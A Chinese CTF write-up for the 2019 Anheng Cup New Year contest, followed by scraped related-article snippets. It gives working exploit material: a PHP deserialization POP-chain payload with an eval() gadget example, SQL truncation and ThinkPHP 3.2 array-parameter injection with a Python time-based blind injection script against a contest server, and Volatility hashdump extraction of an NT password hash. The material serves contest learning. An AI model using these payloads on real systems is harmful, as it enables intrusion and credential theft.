2019安恒杯一月新春贺岁赛writeup

2023-11-08

WEB

babyGo(提交你找到的字符串的md5值)

考点

php反序列化
POP链构造
<?php  
@error_reporting(1); 
include 'flag.php';
class baby 
{   
    protected $skyobj;  
    public $aaa;
    public $bbb;
    function __construct() 
    {      
        $this->skyobj = new sec;
    }  
    function __toString()      
    {          
        if (isset($this->skyobj))  
            return $this->skyobj->read();      
    }  
}  

class cool 
{    
    public $filename;     
    public $nice;
    public $amzing; 
    function read()      
    {   
        $this->nice = unserialize($this->amzing);
        $this->nice->aaa = $sth;
        if($this->nice->aaa === $this->nice->bbb)
        {
            $file = "./{$this->filename}";        
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "you must be joking!"; 
            }    
        }
    }  
}  
  
class sec 
{  
    function read()     
    {          
        return "it's so sec~~";      
    }  
}  

if (isset($_GET['data']))  
{ 
    $Input_data = unserialize($_GET['data']);
    echo $Input_data; 
} 
else 
{ 
    highlight_file("./index.php"); 
} 
?>

flag的输出在cool类中的read方法中,但是在baby类中调用的是sec类的read方法

POP链构造
一般的序列化攻击都在PHP魔术方法中出现可利用的漏洞,因为自动调用触发漏洞,但如果关键代码没在魔术方法中,而是在一个类的普通方法中。这时候就可以通过构造POP链寻找相同的函数名将类的属性和敏感函数的属性联系起来
举例

<?php
class lemon {
    protected $ClassObj;

    function __construct() {
        $this->ClassObj = new normal();
    }

    function __destruct() {
        $this->ClassObj->action();
    }
}

class normal {
    function action() {
        echo "hello";
    }
}

class evil {
    private $data;
    function action() {
        eval($this->data);
    }
}

在 lemo类中调用得的是 normal类 但是在 evil类 中也有在normal类中的相同方法名 action
这时可以构造poc链来调用 evil类 中的 action方法
payload:

<?php
class lemon {
    protected $ClassObj;

    function __construct() {
        $this->ClassObj = new evil();
    }

   
}

class normal {
    function action() {
        echo "hello";
    }
}

class evil {
    private $data = "phpinfo()";
    function action() {
        eval($this->data);
    }
}
$a = new lemon;
echo serialize($a);

本题也是一道简单的POP链构造,注意的是
if($this->nice->aaa === $this->nice->bbb)
因为aaa和bbb一开为null 如果不构造amazing的话 实例化之后也为空 即可绕过if 判断
payload如下:

<?php  
@error_reporting(1); 
include 'flag.php';
class baby 
{   
    protected $skyobj;  
    public $aaa;
    public $bbb;
    function __construct() 
    {      
        $this->skyobj = new cool;
    }  
    function __toString()      
    {          
        if (isset($this->skyobj))  
            return $this->skyobj->read();      
    }  
}  

class cool 
{    
    public $filename="flag.php";     
    public $nice;
    public $amzing; 
    function read()      
    {   
        $this->nice = unserialize($this->amzing);
        $this->nice->aaa = $sth;
        if($this->nice->aaa === $this->nice->bbb)
        {
            $file = "./{$this->filename}";        
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "you must be joking!"; 
            }    
        }
    }  
}  

$a = new baby;

echo serialize($a);

?>

另一种做法是看飘零师傅的

    $this->nice = unserialize($this->amzing);
    $this->nice->aaa = $sth;
    if($this->nice->aaa === $this->nice->bbb)

aaa会被$sth变量赋值 源码中也没出现这个变量 但同时又要与bbb相等
所以使用指针引用 这样bbb的值会随aaa动态改变
构造amazing

<?php  
@error_reporting(1); 
//include 'flag.php';
class baby 
{   
    protected $skyobj;  
    public $aaa;
    public $bbb;
    function __construct() 
    {      
        $this->skyobj = new cool;
    }  
    function __toString()      
    {          
        if (isset($this->skyobj))  
            return $this->skyobj->read();      
    }  
}  

class cool 
{    
    public $filename;     
    public $nice;
    public $amzing; 
    function read()      
    {   
        $this->nice = unserialize($this->amzing);
        $this->nice->aaa = $sth;
        if($this->nice->aaa === $this->nice->bbb)
        {
            $file = "./{$this->filename}";        
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "you must be joking!"; 
            }    
        }
    }  
}  

class sec 
{  
    function read()     
    {          
        return "it's so sec~~";      
    }  
}  



$a = new baby();

$a->bbb = &$a->aaa;

echo serialize($a);


于是
$amazing = O:4:"baby":3:{s:9:"*skyobj";O:4:"cool":3:{s:8:"filename";N;s:4:"nice";N;s:6:"amzing";N;}s:3:"aaa";N;s:3:"bbb";R:6;}

最终payload:

<?php  
class baby 
{   
    protected $skyobj;    
    public $aaa;
    public $bbb;
    function __construct() 
    {          
        $this->skyobj = new cool;   
    }  
    function __toString()      
    {          
        if (isset($this->skyobj))  
        {
            return $this->skyobj->read();      
        }
    }  
}  
class cool 
{    
    public $filename='flag.php';     
    public $nice;
    public $amzing='O:4:"baby":3:{s:9:"<0x00>*<0x00>skyobj";O:4:"cool":3:{s:8:"filename";N;s:4:"nice";N;s:6:"amzing";N;}s:3:"aaa";N;s:3:"bbb";R:6;}'; 
}   
$a = new baby();
// $a->bbb =&$a->aaa;
echo (serialize($a));
?>

simple php

考点

sql约束攻击
TP注入

通过用御剑扫描,发现
robots.txt

User-agent: *

Disallow: /ebooks
Disallow: /admin
Disallow: /xhtml/?
Disallow: /center

发现有登录和注册页面

在这里插入图片描述进行注册后,然后进行登录却提示:
在这里插入图片描述
然后我们注册admin的账户
在这里插入图片描述
却提示用户已存在,那么现在可以想到注册部分有两个数据库查询操作:先select检测用户名是否存在,若不存在就进行数据库插入操作,若存在就注册失败。登录界面可能是select查询用户名和密码是否正确。这样一般攻击者就会进行注入测试,但是这里并不是想让攻击者在这注入然后拿到admin的密码,来看注册部分的代码select方法使用预处理机制+tp自带的转义,insert部分addslashes转义后入库,那么注册部分基本就不可能注入了。

在创建字段的时候 如果指定了 字段的长度 可以用sql约束攻击进行绕过
学习理解sql约束攻击可以参考这篇文章
https://www.freebuf.com/articles/web/124537.html

接下来注册账户admin ‘ (中间有n个空格),密码11111111

注册登入成功 发现是一个搜索框
在这里插入图片描述

发现是ThinkPHP3.2 框架
百度谷歌搜索 发现有此框架的sql注入漏洞
利用参数传入数组类型数据导致绕过过滤导致sql注入

具体参考:
https://xz.aliyun.com/t/2629#toc-2

?search[table]=flag where 1 and polygon(id)–
分别得到数据库名 表明 字段名

在这里插入图片描述
发现字段名是flag

http://101.71.29.5:10004/Admin/User/Index?search[table]=flag where 1 and if(1,sleep(3),0)--

进行盲注测试 成功延迟
exp如下:

import requests
flag = ''
cookies = {
    'PHPSESSID': 're4g49sil8hfh4ovfrk7ln1o02'
}
for i in range(1,33):
    for j in '0123456789abcdef':
        url = 'http://101.71.29.5:10004/Admin/User/Index?search[table]=flag where 1 and if((ascii(substr((select flag from flag limit 0,1),'+str(i)+',1))='+str(ord(j))+'),sleep(3),0)--'
        try:
            r = requests.get(url=url,timeout=2.5,cookies=cookies)
        except:
            flag += j
            print flag
            break

得到flag

memory

考点

内存镜像分析
Volatility 的使用

Volatility是一款开源的,基于Python开发的内存取证工具集,可以分析内存中的各种数据。Volatility支持对32位或64位Wnidows、Linux、Mac、Android操作系统的RAM数据进行提取与分析。

volatility 使用:
volatility -f <文件名> --profile=<配置文件> <插件> [插件参数]

先使用imageinfo插件来猜测dump文件的profile值
在这里插入图片描述

得到类型为WinXPSP2x86

列举缓存在内存的注册表,找到system和sam key的起始位置 :

hivelist -f memory -profile=WinXPSP2x86

在这里插入图片描述

选择系统版本, 提取镜像用户信息

volatility -f memory --profile=WinXPSP2x86 hashdump

获得Administrator的NThash:c22b315c040ae6e0efee3518d830362b

得到密码123456789
MD5后提交

赢战2019

考点

foremost 的使用
binwalk  的使用
stegsolve 的使用

用foremost或者binwalk分离得到一张二维码
再用stegsolve进行分析得到flag

CRYPTO

键盘之争

考点

QWERTY键盘与Dvorak键盘

百度了一下 了解一下
就是该用QWERTY键盘还是Dvorak键盘
具体可看
http://www.ruanyifeng.com/blog/2006/11/disputation_of_keyboards_qwerty_or_dvorak.html
在这里插入图片描述
QWERTY键盘
在这里插入图片描述
由ypau_kjg;"g;"ypau+ 根据映射关系 可得到flag
在线解密网址
http://wbic16.xedoloh.com/dvorak.html
在这里插入图片描述

参考

https://www.anquanke.com/post/id/170341
https://www.freebuf.com/articles/web/124537.html
https://xz.aliyun.com/t/2629
https://www.freebuf.com/column/152545.html

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

2019安恒杯一月新春贺岁赛writeup 的相关文章

  • 西普部分CTF题目(web)(持续更新)

    1 菊花 题目地址 http www simplexue com ctf examctfdetail 729 点击 我是吊死 进入sim php页面 post参数为id 提示需要net framework 9 9 用burp拦截 修改use
  • 一些文件头

    由这些文件头即使文件后缀被乱改也可以通过查看二进制文件查出文件的匹配格式 当然这就是一些播放器识别文件的方法 1 从Ultra edit 32中提取出来的 JPEG jpg 文件头 FFD8FF PNG png 文件头 89504E47 G
  • ctfshow 文件包含

    目录 web78 web79 web80 81 web82 web83 web78 简单的伪协议文件包含 payload php filter convert base64 encode resource flag php web79 pa
  • buuCTF [ISITDTU 2019]EasyPHP 1

    buuCTF ISITDTU 2019 EasyPHP 1 直接代码审计 第一个if 过preg match 一般有三种方法 取反绕过 异或绕过 转义绕过 这里用取反绕过 第二个if的意思是输入的字符串不重复的字符长度不超过0xd即13 如
  • BUUCTF系列 // [极客大挑战 2019] LoveSQL

    前言 本题知识点 SQL注入 WP 这题居然是个连续剧 首先尝试使用上一题的解法绕过看看 上一题 WP 的 传送门 结果如下 注意到密码有些奇怪 尝试着用 MD5 解码失败 也没啥思路 最后事实证明确实也用不到这玩意 故回到 SQL 注入上
  • buuctf [强网杯 2019]随便注 1

    buuctf web 强网杯 2019 随便注 1 刷题个人日记 小白一个 写给自己看 打开后是这样 从题目和内容来看就是一道sql注入题 输入 1 or 1 1 这个 用来注释掉后面的sql语句 显示所有数据 这个数据有什么用我也不知道
  • ctf.show web入门(信息搜集) 1~20

    目录 web1 源码 web2 源码 web3 抓包 web4 robots web5 index phps web6 解压源码泄露 web7 git泄露 web8 svn泄露 web9 vim缓存 web10 cookie web11 域
  • [MRCTF2020]千层套路1

    BUU题目复现 开局一个压缩包 flag全靠懵 拿到压缩包第一件事直接看能不能直接解压缩 很明显 有密码 不行 下一步 使用010Editor查看内部结构 发现确实操作着很多的 zip 文件 但是我使用binwalk foremost都没办
  • sql注入万能密码总结

    select from admin where username and password 第一种 当你已知管理员账号名为admin时可以直接尝试 admin select from admin where username admin a
  • 某**集团夺旗赛的一道隐写题

    解压压缩包 解压出来一个文件file 使用file命令进行查看 发现是data 010查看也无果 看到标题是logistic联想到是否与xor文件有关 遂使用工具xortool 工具在此 xortool file 选概率最大的那个 13 x
  • [CTF/网络安全] 攻防世界 disabled_button 解题详析

    CTF 网络安全 攻防世界 disabled button 解题详析 input标签 姿势 disable属性 总结 题目描述 X老师今天上课讲了前端知识 然后给了大家一个不能按的按钮 小宁惊奇地发现这个按钮按不下去 到底怎么才能按下去呢
  • SAR: 1 4 https://www.vulnhub.com/entry/sar-1%2C425/

    SAR 1 About Release Back to the Top Name Sar 1 Date release 15 Feb 2020 Author Love Series Sar Download Back to the Top
  • BUUCTF:[GXYCTF2019]BabyUpload1

    文件上传漏洞 不过这里我要吐槽一下 这个题首先他不允许传 png文件 再者 jpg文件不能大 打了也报错 传不上去 可想而知 我当时在做这个题的时候跟见了鬼一样难受 什么文件都传不了 接着做题吧 试着传一个PHP文件 告诉我不能传ph开头的
  • 攻防世界(easy-apk)

    下载链接如下所示 https adworld xctf org cn media task attachments 989ca07c3f90426fa05406e4369901ff apk 使用JEB打开apk 如下所示 可知获得输入后进行
  • [MRCTF2020]千层套路

    MRCTF2020 千层套路 题目地址 https buuoj cn challenges MRCTF2020 E5 8D 83 E5 B1 82 E5 A5 97 E8 B7 AF 解压压缩包 发现是密码竟然是压缩包名称 再根据题目 tn
  • NEZUKO: 1——202201152003

    NEZUKO 1 202201152003 About Release Back to the Top Name nezuko 1 Date release 21 Aug 2019 Author yunaranyancat Series n
  • Android_CTF: kgb_messenger

    环境 kgb messenger apk 测试机 OnePlus Andorid 9 1 Alerts 安装该apk后 使用发现如下的界面 用 jadx 反编译该 apk 搜索字符串 Russian 在MainActivity中发现了以上字
  • CTF BugKu平台——Crypto篇刷题记录(后续更新)

    CTF BugKu平台 Crypto篇 前言 抄错的字符 聪明的小羊 ok lt gt 把猪困在猪圈里 你喜欢下棋吗 小山丘的秘密 EN 气泡 你以为是md5吗 Math English easy crypto 黄道十二官 一段新闻 7 1
  • 攻防世界web---新手练习区

    查看网页源代码 根据提示 查看网页源代码 发生了什么 鼠标右键不管用了 F12看到了什么 哈哈哈哈哈 robots协议 也太简单了吧哈哈哈 备份文件 打开御剑扫描后台 cookie 没什么发现 抓包看看 看看cookie php 看http
  • [ISCTF 2023]——Web、Misc较全详细Writeup、Re、Crypto部分Writeup

    前言 由于懒我直接把上交的wp稍加修改拉上来了 凑活看 文章目录 前言 Pwn test nc nc shell Reverse Creakme EasyRe

随机推荐

  • Vue3通透教程【十二】TS类型声明优势

    文章目录 写在前面 上篇文章解惑 JS函数中的隐患 函数中的类型 写在最后 写在前面 专栏介绍 凉哥作为 Vue 的忠实 粉丝输出过大量的 Vue 文章 应粉丝要求开始更新 Vue3 的相关技术文章 Vue 框架目前的地位大家应该都晓得 所
  • SpringBoot临时属性设置

    在Spring Boot中 可以通过设置临时属性来覆盖应用程序中定义的属性 这在某些情况下很有用 例如在命令行中指定配置参数或在测试环境中覆盖默认值 你可以使用 双破折号 语法来设置临时属性 以下是一些示例 1 在命令行中设置临时属性 ja
  • dnf服务器未响应win7,win7dnf登录黑屏未响应

    对于win7dnf登录黑屏未响应 win7系统未响应黑屏的解决方法 很多用户都遇到过win7dnf登录黑屏 或者游戏过程中未响应的问题 很多小伙伴们对此都是头疼不已 为了帮助小伙伴们解决这个问题 小编特地带来了相关的win7dnf黑屏未响应
  • cv2.threshholding()简单阈值、自适应阈值,Octus阈值

    TOC cv2 threshholding 简单阈值 自适应阈值 Octus阈值 这篇博客将延续上一篇简单阈值处理 继续介绍自适应阈值及Octus阈值 简单阈值详情见 https blog csdn net qq 40985985 arti
  • 解决Ubuntu16.04软件商店无法加载

    最近安装ubuntu系统遇到软件商店加载不出来的的问题 在网上找了好久 在这记录一下 以便以后查看 有的时候加载不出来 先用下面的试试 sudo apt install python apt 如果不行 继续下面的方法 打开终端 运行下面的命
  • 微信小程序码生成,扫码携带参数进入指定页面

    一 准备工作 1 微信小程序后台获取小程序的appId和secret 小程序后台管理 开发管理 开发设置 2 扫码跳转的页面在app json中已经注册 注册的路径与传过去的路径一致 3 小程序已经有已发布的线上版本 否则会找不到页面报错
  • MySQL中直接保存Python变量

    项目中需要用到MySQL保存数据 开始接触数据库以为只能保存简单的字符和数字 随着学习的深入发现数据库能存储的数据类型还是比较丰富的 之前设计的数据库表有些复杂了 完全可以将Python中的变量 列表 字典等 甚至类作为一个元素直接保存到数
  • SpringBoot简明教程

    初始springboot 本教程假设您已有了 springmvc mysql mybatis基础 1 教程配套章节视频 2 教程结束后 会配有综合项目案例 毕竟不整合不能确切的理解各点的真正含义 案例现在还没想好 大家也可以提供案例 技术栈
  • 《html学习笔记》基础结构

    1 举个例子 DOCTYPE html gt
  • STM32 BlueNRG-1低功耗介绍,包含CPU堆栈恢复和外设恢复

    概述 在消费类电子产品形态中 通常用锂电池 纽扣电池 干电池等设备供电 需要现有供电情况下能连续使用几个月或者1年 而这些供电电源通常只有20 40mAh左右的电 要达到要求的运行时间 通常要求平均功耗在uA级别 芯片正常工作下的工作级别基
  • contenteditable 元素删掉所有内容后再输入内容,v-model变量不能监听内容变化

    contenteditable 属性规定元素内容是否可编辑 元素会从其父元素继承该属性 true 可以编辑 false 不可编辑 问题
  • C#程序删除自身

    最近自己写了个卸载程序 将程序本身放到安装目录 执行卸载程序的时候将安装目录删除 卸载程序本身无法删除自身 遂尝试通过批处理删除 string fileName Path Combine AppDomain CurrentDomain Ba
  • 动画效果--animation

    文章目录 一 动画 1 动画的基本使用 2 keyframes 定义动画 3 初步使用 二 动画常见的基本属性 1 常见的一些属性 2 复合属性和拆分属性 3 动画帧 steps实现逐帧动画 一动画 动画 animation
  • 常见的几何算法库

    常见的几何算法库包括 ACIS Parasolid和OpenCASCADE 简称OCC 前两个是商业的 后者是开源的 在CAD CAE这个领域 开源算法库基本上没有多大优势 基于ACIS和Parasolid至少有很多知名的产品 比如ACIS
  • 高效能,一键批量剪辑,AI智剪让创作更轻松

    在今天的数字化时代 视频制作已经成为各种行业和领域的必备技能 然而 视频剪辑过程往往繁琐且耗时 大大降低了我们的工作效率 幸运的是 随着人工智能技术的发展 我们有了新的解决方案 AI智剪软件 AI智剪软件 如同其名字一样 使用人工智能技术进
  • 计算机组成原理--基于Logisim的8位可控加减法器实验的应用(超详细/设计/实验/作业/练习)

    目录 课程名 计算机组成原理 内容 作用 设计 实验 作业 练习 学习 基于Logisim的8位可控加减法器实验 一 前言 二 环境与设备 三 内容 四 结果与分析 课程名 计算机组成原理 内容 作用 设计 实验 作业 练习 学习 基于Lo
  • 【计算机视觉】BYOL 讲解

    BYOL 论文信息 标题 Bootstrap your own latent A new approach to self supervised Learning 作者 Jean Bastien Grill 期刊 NeurIPS 2020
  • 微软正式提供Visual Studio 2013正式版下载(附直接链接汇总)

    转自 http www iruanmi com visual studio 2013 微软已经向MSDN订阅用户提供了Visual Studio 2013正式版镜像下载 不过非MSDN用户可以在微软的Visual Studio 2013官方
  • 猜数字游戏(比大小)

    import random Sn random randint 0 100 函数返回n 生成一个在范围内的整数 例子 0 lt n lt 100 也可以用random random的函数 Gn int input 输入猜的数 N 1 whi
  • 2019安恒杯一月新春贺岁赛writeup

    WEB babyGo 提交你找到的字符串的md5值 考点 php反序列化 POP链构造